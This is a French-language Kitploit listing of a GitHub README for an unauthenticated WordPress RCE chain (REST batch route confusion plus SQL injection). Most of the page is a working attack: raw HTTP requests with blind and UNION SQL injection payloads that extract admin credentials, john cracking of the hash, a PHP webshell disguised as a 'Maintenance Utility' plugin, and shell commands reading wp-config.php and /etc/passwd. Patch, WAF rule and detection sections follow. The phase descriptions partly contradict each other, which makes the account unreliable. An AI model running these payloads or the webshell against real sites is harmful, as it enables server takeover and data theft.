Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-60137_CVE-2026-63030 | Kitploit
Outils/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
il y a 24 joursPas encore vérifié

CVE-2026-60137 + CVE-2026-63030 — WordPress RCE non authentifié

Vulnérabilité: REST Batch Route Confusion + WP_Query SQL Injection → RCE complet

CVSS v3.1: 10.0 / 10.0 — CRITIQUE | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Versions affectées: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Version corrigée: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

root@kitploit:~
---

## Démarrage rapide

### 1. Configurer le laboratoire vulnérable

**Prérequis :** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. Exécuter l'exploit```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

root@kitploit:~
### 3. Sortie attendue```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image image

Fichiers dans ce dépôt


Analyse détaillée de la vulnérabilité

CVE-2026-60137 (enchaîné avec CVE-2026-63030)

Vulnérabilité : Exécution de code à distance non authentifiée — Confusion de route REST Batch + Injection SQL WP_Query

CVSS v3.1 : 10.0 / 10.0 — CRITIQUE

Vecteur : AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. Vue d'ensemble

CVE-2026-60137 est une vulnérabilité RCE non authentifiée dans le cœur de WordPress. Elle combine deux bogues indépendants en une chaîne d'exploitation complète allant de l'absence totale d'accès au compromis complet du serveur :

CVEBogueRôle dans la chaîne
CVE-2026-63030Confusion de route REST BatchContournement de l'authentification
CVE-2026-60137Injection SQL author__not_inLecture/écriture arbitraire de la base de données

Versions affectées :

  • RCE complet : WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • SQLi uniquement (nécessite un plugin de support) : 6.8.0 – 6.8.5
  • Corrigé : 6.9.5, 7.0.2, 7.1-beta2+

Conditions d'exploitation :

  • L'API REST est publique (par défaut dans WordPress)
  • Pas de cache d'objets persistant (aucun par défaut)
  • Au moins 1 publication publiée (la publication par défaut « Hello World » existe)
  • Aucun compte ni session requis, quel qu'il soit

→ La grande majorité des installations WordPress sont vulnérables par défaut.

2. Terminologie

Point de terminaison REST Batch (/wp-json/batch/v1)

Permet d'envoyer plusieurs requêtes d'API REST dans une seule requête HTTP :```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

root@kitploit:~
Chaque sous-requête est associée à son propre gestionnaire, et chaque gestionnaire possède son propre **callback de permission**.

### WP_Query — `author__not_in`

Classe de requête de base de données principale. Le paramètre `author__not_in` accepte un tableau d'entiers, générant la clause SQL :```sql
AND post_author NOT IN (5, 12, 23)

Chaque élément passe par absint() → ne conservant que la partie entière.

wp_parse_url()

Wrapper pour parse_url(). Lors de la réception d'une URL invalide → retourne WP_Error.```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

root@kitploit:~
## 3. Cause racine — Bug A : Confusion de route par lot (CVE-2026-63030)

**Fichier :** `wp-includes/rest-api/class-wp-rest-server.php`

### Code source vulnérable :```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

Mécanisme:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

root@kitploit:~
### Pourquoi `"///"` déclenche-t-il le bug ?

Lorsque PHP `parse_url()` rencontre `"///"`, il tente de l'analyser conformément à la **RFC 3986** — structure d'URL :```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

Lorsqu'il reçoit "///", il l'interprète comme :``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

root@kitploit:~
Résultat retourné par PHP:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress encapsule cela dans wp_parse_url() → détecte aucun schéma valide, aucun hôte valide, aucun chemin significatif → retourne WP_Error.

wp_parse_url("///") retourne WP_Error (URL malformée). Cette erreur entraîne l'ignorance de la requête dans la boucle qui construit $matches, mais elle n'est PAS ignorée dans la boucle de répartition → le tableau devient désynchronisé.

4. Cause racine — Bug B : injection SQL (CVE-2026-60137)

Fichier : wp-includes/class-wp-query.php

Code source vulnérable :```php

class WP_Query { public function get_posts() { global $wpdb;

root@kitploit:~
    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

root@kitploit:~
### Chemin normal (sûr):```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

Contrôleur REST (class-wp-rest-posts-controller.php) :```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

root@kitploit:~
### Chemin avec confusion de route (Vulnérable) :```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

Lorsque la désynchronisation du batch se produit, les paramètres de requête ne passent pas par le contrôleur REST → la chaîne brute va directement dans WP_Query → wp_parse_id_list() présente un contournement de cas limite → injection SQL.

Payload:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

root@kitploit:~
SQL généré :```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. Pourquoi chaîner les deux bugs ?

ScénarioRésultat
Bug A seul (Route Confusion)Contournement de permission → mais rien à injecter
Bug B seul (SQLi)Le contrôleur REST effectue toujours un cast de l'entrée → impossible d'injecter
Bug A + Bug BLa confusion contourne le contrôleur → chaîne brute dans SQL → RCE

Individuellement, ces deux bugs sont inoffensifs. Seulement lorsqu'ils sont chaînés :

  • Bug A: supprime la couche d'assainissement (contrôleur REST)
  • Bug B: injecte du SQL car l'assainissement a été contourné

6. Analyse de la chaîne d'attaque

Phase 1: Route Confusion```

POST /wp-json/batch/v1 Content-Type: application/json

{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }

root@kitploit:~
→ Response[0] : `parse_path_failed` (amorce déclenchée)

→ Response[1] : `rest_invalid_handler` (désynchronisation du gestionnaire confirmée)

### **Phase 2 : Injection SQL — Extraction de données**

**Booléen aveugle :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

Comparez la réponse TRUE vs FALSE → recherche binaire sur chaque caractère.

UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

root@kitploit:~
Fake post row containing credentials returned in the JSON response.

→ Résultat : extraction réussie de `user_login` et `user_pass` (hash bcrypt) depuis `wp_users`.

### **Phase 3 : Casser le hash → Connexion admin**

Le hash obtenu à la phase 2 est au format bcrypt (`$wp$2y$10$...`). Supprimez le préfixe `$wp$` → cassez avec john/hashcat + wordlist → obtenez le mot de passe en clair → connectez-vous à `/wp-login.php`.

**Remarque :** Le point d'injection se trouve dans la clause `WHERE` de `SELECT`. MySQL désactive les instructions multiples → UNION est en lecture seule, pas en écriture → impossible d'insérer un nouvel admin directement via SQLi. Il faut casser le hash pour obtenir une session valide.

### Phase 4 : Téléversement de webshell```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

Phase 5: RCE```

GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)

root@kitploit:~
## **7. EXPLOITATION**

L'exploitation de CVE-2026-60137 passe de **zéro accès** — aucun compte, aucun mot de passe, aucune session — au **contrôle total du serveur** uniquement via des requêtes HTTP.

**Prérequis :** La cible exécute WordPress 6.9.0–6.9.4 ou 7.0.0–7.0.1 avec l'API REST publique (activée par défaut). Pas besoin de se connecter ni de connaître le moindre identifiant.

**La chaîne d'exploitation comprend 5 phases :**```
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 Phase 1 : Confirmer la confusion de route

Objectif : Confirmer que la cible est vulnérable — le tableau de gestionnaires est désynchronisé lors de l'envoi du chemin d'amorçage "///".

Principe : Le point de terminaison de lot permet d'envoyer plusieurs requêtes REST en un seul appel HTTP. Lorsque wp_parse_url("///") échoue, WordPress ignore cette requête lors de la construction du tableau $matches mais NE L'IGNORE PAS lors de la distribution → les gestionnaires sont décalés → la requête suivante s'exécute avec le mauvais callback de permission → contournement de l'authentification.

Envoyer la requête :``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

root@kitploit:~
**Réponse :**```
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

Comment lire :

images/image.png

Nous observons que rest_invalid_handler signifie : « WordPress réalise que le handler NE CORRESPOND PAS à la requête »

→ Cela signifie que le tableau $matches est DÉJÀ DÉSYNCHRONISÉ, le primer "///" A FONCTIONNÉ et cette désynchronisation PEUT être exploitée pour faire exécuter la requête avec le callback de permission D'UNE AUTRE ROUTE (une route qui ne nécessite pas d'authentification) → LE CONTOURNEMENT DE L'AUTHENTIFICATION EST POSSIBLE

Voir rest_invalid_handler → Bug A confirmé.

7.2 Phase 2 : Confirmer l'injection SQL

Étape 1 — VRAI vs FAUX

VRAI (OR 1=1) :

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
**FALSE (AND 1=2):**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/95c08d2e43f06122b224fab9d17c713097a2f740f972da5b9d6d68e10ca4effa.png)```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

Difference in X-WP-Total → SQLi confirmé.

Étape 2 — Extraire le nom d'utilisateur admin (Booléen aveugle)

1er caractère:

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → donc le premier caractère est `'a'`

En énumérant séquentiellement, on obtient : `user_login` = **"admin"**

#### **Étape 3 — Extraire le hash du mot de passe**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

images/image.png

Utilisez la recherche binaire pour déterminer le code ASCII de chaque caractère dans user_pass :``` Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE) Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)

root@kitploit:~
Deux réponses opposées confirment que l'ASCII du premier caractère se situe dans l'intervalle **(30, 40]**. Continuez à affiner :```
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

Continuez la recherche binaire à chaque position → obtenez la chaîne de préfixe de hachage $wp$ :

Continuez à utiliser l'injection SQL aveugle, caractère par caractère :

→ Hash complet : $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 Phase 3 : Connexion admin

Après la phase 2, nous avons :

  • user_login = admin
  • user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

Craquer le hash

Les hachages WordPress utilisent le format bcrypt ($2y$10$), avec un facteur de coût de 10. Avant de craquer, nous devons retirer le préfixe $wp$ car hashcat/john n'accepte que du bcrypt pur :```

Save the pure bcrypt part (remove $wp$ prefix)

echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt

Crack using john

john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

root@kitploit:~
**Résultat :**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/29e2f2018d63e7bdb2c8a633cb151d0aeab28801b47c7ec270be116ec2030f89.png)

Le mot de passe **`admin123`** est dans la wordlist → john le casse immédiatement avec succès.

→ Connexion réussie à `/wp-login.php` avec `admin:admin123`.

### **7.4 Phase 4 : Téléversement d'un webshell**

À ce stade, nous disposons d'une session admin valide. L'objectif suivant est d'**installer une backdoor sur le serveur** afin de conserver un accès indépendamment des identifiants.

WordPress permet aux administrateurs de téléverser des plugins au format ZIP — c'est une fonctionnalité légitime, et nous allons en abuser.

#### **Créer un webshell**

Tout d'abord, nous avons besoin d'un fichier PHP qui exécute des commandes système. Ce fichier sera empaqueté dans un faux plugin pour que WordPress l'accepte :```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

The secret123 token agit comme un mot de passe — empêchant les autres de déclencher accidentellement le shell.```bash mkdir shell && mv shell.php shell/ zip -r shell.zip shell/

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/bf2671815ada8d413fdb42cdd06b8b42c7a549846557a6e3ff541147010bf104.png)

Créé avec succès.

#### **Téléversement vers WordPress**

Après avoir créé `shell.zip` avec succès, téléversez le fichier zip dans la section des plugins pour le déclencher.

WordPress extrait et place le fichier à :```
/var/www/html/wp-content/plugins/shell/shell.php

Le plugin apparaît dans la liste sous le nom "Maintenance Utility" avec le statut Actif → le webshell est maintenant prêt à être déclenché via HTTP.

images/image.png

UPLOAD et ACTIVE réussis.

7.5 Phase 5 : RCE

Ainsi, le Shell est sur le serveur. Appelez-le pour exécuter le shell.

Confirmer le RCE :``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/eb3f921660da2c214487a9ccb062f173bee25b881e7ff7c95be685fbb061bf2a.png)```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Exécution en tant qu'utilisateur www-data — l'utilisateur du serveur web. Ensuite, augmentez l'impact :

Lire le fichier de configuration WordPress :```

GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/3db8d0921065eb40ee3e8d305fbc365c924f7d8950921b034d521037c676a9bf.png)

 — Exécute la commande pour lire le fichier `wp-config.php` via le webshell — exposant toutes les clés secrètes WordPress (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) et les identifiants de la base de données. C'est l'information la plus sensible d'une installation WordPress.

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/ea90ae9a1698312588a1dd97c804f1612a8bb09889eb12aafcb3ed1e68295826.png)

*—* La réponse renvoie le contenu de `wp-config.php`, notamment `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST` — suffisant pour accéder directement au serveur de base de données sans passer par WordPress.

#### **Lire tous les utilisateurs système :**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ Confirme l'accès au niveau du système d'exploitation, ne se limitant plus au périmètre de WordPress.

À ce stade, la chaîne d'exploitation est complète :``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data

root@kitploit:~
### **7.6 Résumé**

| **#** | **Phase** | **Méthode** | **Chemin** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | Extraire le nom d'utilisateur | POST | `/?rest_route=/batch/v1` |
| 4 | Extraire le hash | POST | `/?rest_route=/batch/v1` |
| 5 | Connexion admin | POST | `/wp-login.php` |
| 6 | Obtenir le nonce | GET | `/wp-admin/plugin-install.php` |
| 7 | Téléverser le shell | POST | `/wp-admin/update.php` |
| 8 | Activer | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |

**9 requêtes. Zéro identifiant initial. De la page de connexion → contrôle total du serveur.**

## 8. Répartition CVSS

| Métrique | Valeur | Raison |
| --- | --- | --- |
| Vecteur d'attaque | Réseau | À distance via HTTP |
| Complexité d'attaque | Faible | Déterministe, aucun timing/condition de course requis |
| Privilèges requis | Aucun | Totalement non authentifié |
| Interaction utilisateur | Aucune | Aucune action de la victime requise |
| Portée | Modifiée | WP → niveau OS (www-data) |
| Confidentialité | Élevée | Lecture complète de la BD |
| Intégrité | Élevée | Écriture arbitraire en BD, téléversement de fichier |
| Disponibilité | Élevée | DROP tables, ransomware |

## 9. Impact

### Technique

| Couche | Impact |
| --- | --- |
| Base de données | Accès LECTURE/ÉCRITURE à tout : wp_users, wp_options, wp_posts |
| Application | Créer des admins, modifier le contenu, installer des backdoors |
| Serveur | RCE en tant que www-data, lire wp-config.php, /etc/passwd |
| Réseau | Pivot vers les services internes via les identifiants de la BD |

### Entreprise

| Scénario | Conséquences |
| --- | --- |
| E-commerce | Fuite de données personnelles (PII), vol de clés de paiement, injection de skimmers |
| Entreprise | Défacement, spam SEO, distribution de malwares |
| Multisite | 1 exploit → compromet l'ensemble du réseau |
| SaaS (marketing WP) | Extraire les variables d'environnement → pivot vers la production |

### Données à risque

- `wp_users` : nom d'utilisateur, e-mail, hash du mot de passe
- `wp_usermeta` : données personnelles (nom, téléphone, adresse), session_tokens
- `wp_options` : identifiants BD, identifiants SMTP, clés API de paiement, sels WordPress
- `wp-config.php` : hôte/utilisateur/mot de passe de la base de données, clés secrètes
- `/proc/self/environ` : variables d'environnement

## 10. Défense et remédiation

### 10.1 Correctif (complet)

| Version actuelle | Vers laquelle mettre à niveau |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |

### 10.2 Correctif de code

**Bug A — Confusion de route :**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

Bug B — SQL Injection:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);

root@kitploit:~
### 10.3 Atténuation temporaire

**1. Désactiver le point de terminaison batch (le plus efficace) :**```php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. Activer Redis/Memcached:```bash wp plugin install redis-cache --activate wp redis enable

root@kitploit:~
→ L'injection UNION ne se reflète pas (le cache renvoie des données obsolètes).

**3. Règle WAF :**```nginx
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 Détection

Modèles de journaux :``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access

root@kitploit:~
**Vérification des IOC :**```bash
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?
Télécharger l’outil
FichierDescription
README.mdAnalyse complète de la vulnérabilité et rapport d'exploitation
exploit.pyScript d'exploitation automatisé (zéro accès → RCE en une seule commande)
docker-compose.ymlEnvironnement de laboratoire WordPress vulnérable
chain-rce.mdDocumentation de la chaîne RCE automatisée
images/Captures d'écran de l'exploitation manuelle
Réponse
Code
Signification
[0]parse_path_failedPrimer fonctionne — wp_parse_url("///") a échoué
[1]rest_invalid_handlerDESYNC ! La requête a reçu le mauvais handler → contournement de l'authentification
PositionASCIICaractèreRemarques
136$Préfixe de hachage
2119w
3112p
436$→ $wp$ = variante bcrypt
5-20...2y$10$aJgATdlhfIFacteur de coût + sel